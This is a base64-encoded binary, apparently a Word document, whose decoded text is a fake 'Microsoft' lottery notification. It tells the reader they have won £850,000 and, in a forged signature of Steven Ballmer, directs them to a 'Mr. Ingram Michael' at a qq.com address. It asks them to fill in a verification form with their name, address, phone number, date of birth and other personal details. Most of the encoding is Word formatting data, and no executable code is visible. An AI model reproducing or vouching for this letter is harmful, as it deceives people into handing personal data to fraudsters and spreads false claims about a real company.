AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgIAQ1N aWNyb3NvZnQgQ29ycG9yYXRpb26uDU9uZSBNaWNyb3NvZnQgV2F5DVJlZG1vbmQsIFdBIDk4MDUy IA1Vbml0ZWQgS2luZ2RvbS4NDQ1PRkZJQ0lBTCBOT1RJRklDQVRJT04gTEVUVEVSIDIwMTMNDU1p Y3Jvc29mdCBpcyBhIG11bHRpbmF0aW9uYWwgY29tcHV0ZXIgdGVjaG5vbG9neSBjb3Jwb3JhdGlv bi4gVGhlIGhpc3Rvcnkgb2YgTWljcm9zb2Z0IGJlZ2FuIG9uIEFwcmlsIDQsIDE5NzUsIHdoZW4g aXQgd2FzIGZvdW5kZWQgYnkgQmlsbCBHYXRlcyBhbmQgUGF1bCBBbGxlbiBpbiBBbGJ1cXVlcnF1 ZS4gSXRzIGN1cnJlbnQgYmVzdC1zZWxsaW5nIHByb2R1Y3RzIGFyZSB0aGUgTWljcm9zb2Z0IFdp bmRvd3Mgb3BlcmF0aW5nIHN5c3RlbSBhbmQgdGhlIE1pY3Jvc29mdCBPZmZpY2Ugc3VpdGUgb2Yg cHJvZHVjdGl2aXR5IHNvZnR3YXJlLg0NVGhlIGNvbXBhbnkgaGFzIG5vdyBiZWNvbWUgbGFyZ2Vs eSBzdWNjZXNzZnVsLiBBcyBvZiAyMDA4LCBNaWNyb3NvZnQgaGFzIGEgZ2xvYmFsIGFubnVhbCBy ZXZlbnVlIG9mIFVTJCA2MC40MiBiaWxsaW9uIGFuZCBuZWFybHkgOTAsMDAwIGVtcGxveWVlcyBp biAxMDUgY291bnRyaWVzLiBJdCBkZXZlbG9wcywgbWFudWZhY3R1cmVzLCBsaWNlbnNlcywgYW5k IHN1cHBvcnRzIGEgd2lkZSByYW5nZSBvZiBzb2Z0d2FyZSBwcm9kdWN0cyBmb3IgY29tcHV0aW5n IGRldmljZXMuDQ1JdCBpcyB1bmRlcnN0YW5kYWJsZSBhbmQgb2J2aW91cyB0aGF0IHRoaXMgbm90 aWZpY2F0aW9uIHdpbGwgY29tZSB0byB5b3UgYXMgYSBzdXJwcmlzZSBidXQgcGxlYXNlIGZpbmQg dGltZSB0byByZWFkIGl0IGNhcmVmdWxseSBhcyB3ZSBjb25ncmF0dWxhdGUgeW91IG92ZXIgeW91 ciBzdWNjZXNzIGluIHRoZSBvZmZpY2lhbCBwdWJsaWNhdGlvbiBvZiB0aGUgcmVzdWx0cyBvZiB0 aGUgRS1tYWlsIGVsZWN0cm9uaWMgb25saW5lIFN3ZWVwc3Rha2VzIG9yZ2FuaXplZCBieSB0aGUg TWljcm9zb2Z0IEF3YXJlbmVzcyBUZWFtLCBpbiBjb25qdW5jdGlvbiB3aXRoIHRoZSBmb3VuZGF0 aW9uIGZvciB0aGUgcHJvbW90aW9uIG9mIHNvZnR3YXJlIHByb2R1Y3RzLCAoRi5QLlMuKSBoZWxk IHRoaXMgbW9udGggb2YgU2VwdGVtYmVyLCBpbiBMb25kb24gVW5pdGVkIEtpbmdkb20uDQ1UaGUg cHJvY2VzcyB3YXMgc2VsZWN0ZWQgdGhyb3VnaCBhIGJhbGxvdCBzeXN0ZW0gZHJhd24gZnJvbSBh biBvbi1saW5lIFdvcmxkIFdpZGUgV2ViIGNvcnJlbGF0aW9uIG9mIEUtIG1haWwgYWRkcmVzc2Vz IGdvdHRlbiBmcm9tIGN1c3RvbWVyJ3MgbWFraW5nIHVzZSBvZiBhbnkgb2YgdGhlIE1pY3Jvc29m dCBQcm9kdWN0J3MgV29ybGQgV2lkZSByYW5naW5nIGZyb20gTWljcm9zb2Z0IE9mZmljZSBQYWNr YWdlcywgTWljcm9zb2Z0IFdpbmRvd3MgJiBGYWNlYm9vayBzcG9uc29yZWQgZW1haWwtZHJhd3Mg YWxsIG92ZXIgdGhlIHdvcmxkLiBQbGVhc2UgYmUgaW5mb3JtZWQgdGhhdCB5b3VyIGVtYWlsIGFk ZHJlc3MgZW1lcmdlZCBhcyBvbmUgb2YgdGhlIG9ubGluZSBXaW5uaW5nIGVtYWlscyBpbiB0aGUg Mm5kIGNhdGVnb3J5IGFuZCB0aGVyZWZvcmUgYXR0cmFjdGVkIGEgY2FzaCBhd2FyZCBvZiCjODUw LDAwMC4wMCB7RWlnaHQgSHVuZHJlZCBhbmQgRmlmdHkgVGhvdXNhbmQgR3JlYXQgQnJpdGlzaCBQ b3VuZHMgU3Rlcmxpbmcnc30uDQ1BIENoZXF1ZSBvZiCjODUwLDAwMC4wMCB7RWlnaHQgSHVuZHJl ZCBhbmQgRmlmdHkgVGhvdXNhbmQgR3JlYXQgQnJpdGlzaCBQb3VuZHMgU3Rlcmxpbmcnc30gYWxv bmdzaWRlIHlvdXIgd2lubmluZyBDaGVxdWUgd2lsbCBiZSBpc3N1ZWQgaW4geW91ciBuYW1lIGJ5 IHRoZSBNaWNyb3NvZnQgQXdhcmVuZXNzIFRlYW0gYW5kIGFsc28gYSBjZXJ0aWZpY2F0ZSBvZiBw cml6ZSBjbGFpbSB3aWxsIGJlIHNlbnQsIGhlcmUgaW4gdGhlIFVuaXRlZCBLaW5nZG9tOyB5b3Ug aGF2ZSB0aGVyZWZvcmUgYmVlbiBjbGVhcmVkIHRvIHJlY2VpdmUgdGhlIHN1bSBvZiCjODUwLDAw MC4wMCB7RWlnaHQgSHVuZHJlZCBhbmQgRmlmdHkgVGhvdXNhbmQgR3JlYXQgQnJpdGlzaCBQb3Vu ZHMgU3Rlcmxpbmcnc30gZnJvbSB0aGUgTWljcm9zb2Z0IEF3YXJlbmVzcyBUZWFtLg0NV2Ugd3Jp dGUgdG8gb2ZmaWNpYWxseSBub3RpZnkgeW91IG9mIHRoaXMgYXdhcmQgYW5kIHRvIGFkdmlzZSB5 b3UgdG8gY29udGFjdCB0aGUgcHJvY2Vzc2luZyBvZmZpY2UgaW1tZWRpYXRlbHkgdXBvbiByZWNl aXB0IG9mIHRoaXMgbWVzc2FnZSBmb3IgbW9yZSBpbmZvcm1hdGlvbiBjb25jZXJuaW5nIHRoZSB2 ZXJpZmljYXRpb24sIHByb2Nlc3NpbmcgYW5kIGV2ZW50dWFsIHBheW1lbnQgb2YgdGhlIGFib3Zl IHByaXplIHRvIHlvdS4gDQ1QbGVhc2Ugbm90ZSB0aGF0IHRoZSBpbmZvcm1hdGlvbidzIHdlIHJl cXVpcmVkIGZyb20geW91IGlzIHBhcnQgb2Ygb3VyIHByZWNhdXRpb25hcnkgbWVhc3VyZXMgdG8g YXZvaWQgZG91YmxlIGNsYWltaW5nIGFuZCB1bndhcnJhbnRlZCBhYnVzZSBvZiB0aGlzIGRvbmF0 aW9uIHByb2dyYW0uDQ1UbyBjbGFpbSB5b3VyIGF3YXJkIHByaXplLCBwbGVhc2UgY29udGFjdCBv dXIgQXdhcmQgIENvb3JkaW5hdG9yIE1yLiBJbmdyYW0gTWljaGFlbCBieSBuZWF0bHkgZmlsbGlu ZyB0aGUgdmVyaWZpY2F0aW9uIGFuZCBmdW5kcyByZWxlYXNlIGZvcm0gYmVsb3csIGFzIHlvdXIg cGF5bWVudCB3aWxsIGJlIHJlbGVhc2VkIGFuZCBhcnJhbmdlZCBieSBvdXIgVW5pdGVkIEtpbmdk b20gT2ZmaWNlOw0NS2luZGx5IHRha2UgeW91ciB0aW1lIGFuZCBmaWxsZWQgdGhlIGJlbG93IHZl cmlmaWNhdGlvbiBmb3JtIGluIHRoZSBmb3JtYXQgYmVsb3cuDVZFUklGSUNBVElPTiBGT1JNDUZp cnN0IE5hbWUNBwcNTGFzdCBOYW1lDQcHDQ1SZXNpZGVudGlhbCBBZGRyZXNzDQcHDQ0NVGVsZXBo b25lLyBNb2JpbGUNBwcNDUZheCBOdW1iZXINBwcNDU5hdGlvbmFsaXR5L0NvdW50cnkNBwcNDURh dGUgT2YgQmlydGggKGRkL21tL3l5KQ0HBw0NU2V4DQcHDQ1PY2N1cGF0aW9uL1Bvc2l0aW9uIEhl bGQNBwcNDU1hcml0YWwgU3RhdHVzDQcHDQ1BbW91bnQgV29uDQcHDQ1BbHRlcm5hdGUgRW1haWwN BwcNDUV2ZXIgV29uIEFuIE9ubGluZSBMb3R0ZXJ5IEJlZm9yZT8gWWVzL05vDQcHDQ1FbmRlYXZv ciB0byBjb250YWN0IJNNci4gSW5ncmFtIE1pY2hhZWyUIHRoZSBBd2FyZCBDb29yZGluYXRvciBh dCBvbmNlIHdpdGggdGhlIFZlcmlmaWNhdGlvbiBGb3JtIGFib3ZlIGZvciB2YWxpZGF0aW9uIG9m IHlvdXIgcHJpemUuDQ1UaGUgQXdhcmQgQ29vcmRpbmF0b3INTXIuIEluZ3JhbSBNaWNoYWVsDUVt YWlsOiBpbmdyYW0ubWljaGFlbEBxcS5jb20NVGVsZXBob25lOiArNDQ3MDMxOTMwMzI4DUZheDog KzQ0ODcyIDExMCA3NDI4DQ1Ob3RlOiBZb3UgY2FuIGVpdGhlciBmaWxsIHRoZSBWZXJpZmljYXRp b24gRm9ybSBieSBwcmludGluZyBhbmQgbWFudWFsbHkgZmlsbGluZyBvdXQgdGhlIHJlcXVlc3Rl ZCBkZXRhaWxzIG9yIHlvdSBjYW4gZmlsbCBkaXJlY3RseSBvbiBNaWNyb3NvZnQgV29yZCBhbmQg c2VuZCBpdCBhcyBhbiBhdHRhY2htZW50Lg0NUGxlYXNlIG5vdGUgdGhhdCBhZnRlciB0aGUgYWJv dmUgaW5mb3JtYXRpb26ScyBoYXZlIGJlZW4gcmVjZWl2ZWQsIE1yLiBJbmdyYW0gTWljaGFlbCB3 aWxsIGluc3RydWN0IHlvdSBvbiB0aGUgcHJvY2VkdXJlcyBvZiBvYnRhaW5pbmcgeW91ciBmdW5k cyBvZiCjODUwLDAwMC4wMCAoRWlnaHQgSHVuZHJlZCBhbmQgRmlmdHkgVGhvdXNhbmQgQnJpdGlz aCBQb3VuZHMgU3RlcmxpbmcpIHRyYW5zZmVycmVkIHRvIHlvdSBhcyBzb29uIGFzIHBvc3NpYmxl Lg0NQ29uZ3JhdHVsYXRpb25zIGZyb20gdGhlIHN0YWZmcyAmIG1lbWJlcnMgb2YgdGhlIE1pY3Jv c29mdCBBd2FyZW5lc3MgVGVhbS4NIAENTXIuIFN0ZXZlbiBBLiBCYWxsbWVyDUV4ZWN1dGl2ZSBD aGFpcm1hbiwgTWljcm9zb2Z0IENvcnBvcmF0aW9uLg0ICAgIhYWFhYWFhYWFhYWFhYWFhYWFhYWF hYWFhYWFhYWFhYWFhYUNVGhpcyBlbWFpbCBhbmQgYW55IGF0dGFjaG1lbnRzIGFyZSBjb25maWRl bnRpYWwgYW5kIG1heSBhbHNvIGJlIHByaXZpbGVnZWQuIElmIHlvdSBhcmUgbm90IHRoZSBhZGRy ZXNzZWUsIGRvIG5vdCBkaXNjbG9zZSwgY29weSwgY2lyY3VsYXRlIG9yIGluIGFueSBvdGhlciB3 YXkgdXNlIG9yIHJlbHkgb24gdGhlIGluZm9ybWF0aW9uIGNvbnRhaW5lZCBpbiB0aGlzIGVtYWls IG9yIGFueSBhdHRhY2htZW50cy4gSWYgcmVjZWl2ZWQgaW4gZXJyb3IsIG5vdGlmeSB0aGUgc2Vu ZGVyIGltbWVkaWF0ZWx5IGFuZCBkZWxldGUgdGhpcyBlbWFpbCBhbmQgYW55IGF0dGFjaG1lbnRz IGZyb20geW91ciBzeXN0ZW0uIEVtYWlscyBjYW5ub3QgYmUgZ3VhcmFudGVlZCB0byBiZSBzZWN1 cmUgb3IgZXJyb3IgZnJlZSBhcyB0aGUgbWVzc2FnZSBhbmQgYW55IGF0dGFjaG1lbnRzIGNvdWxk IGJlIGludGVyY2VwdGVkLCBjb3JydXB0ZWQsIGxvc3QsIGRlbGF5ZWQsIGluY29tcGxldGUgb3Ig YW1lbmRlZC4gTWljcm9zb2Z0IENvcnBvcmF0aW9uIGFuZCBpdHMgc3Vic2lkaWFyaWVzIGRvIG5v dCBhY2NlcHQgbGlhYmlsaXR5IGZvciBkYW1hZ2UgY2F1c2VkIGJ5IHRoaXMgZW1haWwgb3IgYW55 IGF0dGFjaG1lbnRzIGFuZCBtYXkgbW9uaXRvciBlbWFpbCB0cmFmZmljLiANDQMNDQQNDQMNDQQN DQ0NDQ0NDQ0NDQ0NDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIIAAADCAAABAgA ABkIAAAaCAAAPwgAAEAIAABPCAAAUAgAAFEIAABSCAAAcwgAAOTLtqGMoXpoUz62KQAAAAAAAAAA AAAAAAAAAAAAACgVaPtcKgAWaMUi3AA1CIFCKgtDSiAAT0oEAFFKBABhSiAAcGgAsFAAACgVaHBa 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 